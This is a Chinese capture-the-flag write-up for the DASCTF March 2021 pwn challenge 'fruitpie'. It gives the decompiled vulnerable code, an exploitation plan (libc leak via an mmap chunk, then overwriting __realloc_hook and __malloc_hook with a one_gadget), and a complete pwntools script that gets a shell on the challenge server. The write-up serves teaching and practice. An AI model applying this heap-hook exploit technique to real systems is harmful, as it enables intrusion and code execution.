0%

DASCTF_2021_3

DASCTF 2021三月赛

pwn

fruitpie

保护全开

1
2
3
4
5
6
[*] '/home/trick/Desktop/fruitpie'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+4h] [rbp-1Ch]
char *v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
welcome();
puts("Enter the size to malloc:");
LODWORD(size) = readInt("Enter the size to malloc:");
v5 = (char *)malloc((unsigned int)size);
if ( !v5 )
{
puts("Malloc Error");
exit(0);
}
printf("%p\n", v5);
puts("Offset:");
_isoc99_scanf("%llx", (char *)&size + 4);
puts("Data:");
read(0, &v5[*(size_t *)((char *)&size + 4)], 0x10uLL);
malloc(0xA0uLL);
close(1);
return 0;
}

利用思路

  • 获取libc_base:当申请一个足够大的堆时会由mmap分配,此时程序会给我们chunk的地址,而这个地址紧挨着libc并且偏移固定
  • 将one_gadget写到realloc_hook地址中,在malloc_hook的地址写入realloc + x来调整栈帧,x的取值可以有2,4,6,8,9。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.log_level="debug"

context.arch="amd64"

p = remote('183.129.189.60',10018)

#p = process("./fruitpie")

libc = ELF('./libc.so.6')

p.sendlineafter('Enter the size to malloc:','99999999')

p.recvuntil('0x')

addr = int(p.recv(12),16)

print hex(addr)

libc_base = addr + 0x5f5eff0

one = [0x4f365,0x4f3c2,0x10a45c]

malloc_hook = libc_base + libc.symbols['__malloc_hook']

realloc_hook = malloc_hook - 0x8

realloc = libc_base + libc.symbols['realloc']

one_gadget = libc_base + one[1] #0x4f3c2

offset = realloc_hook - addr

print hex(realloc_hook)

p.sendlineafter('Offset:',hex(offset))

#gdb.attach(p)

p.sendlineafter('Data:',p64(one_gadget) + p64(realloc+4))

p.interactive()